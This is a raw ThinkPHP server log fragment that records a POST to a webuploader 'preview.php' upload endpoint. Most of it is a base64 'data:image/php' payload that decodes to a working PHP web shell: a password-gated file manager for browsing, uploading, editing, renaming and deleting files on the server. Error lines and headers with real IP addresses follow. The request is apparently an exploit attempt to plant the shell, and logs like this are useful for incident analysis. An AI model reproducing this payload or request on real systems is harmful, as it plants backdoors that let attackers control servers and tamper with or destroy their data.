'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:40+08:00 ] 116.213.36.234 POST 59.110.137.245/public/static/libs/webuploader/0.1.15/server/preview.php [运行时间:0.002648s] [吞吐率:377.63req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 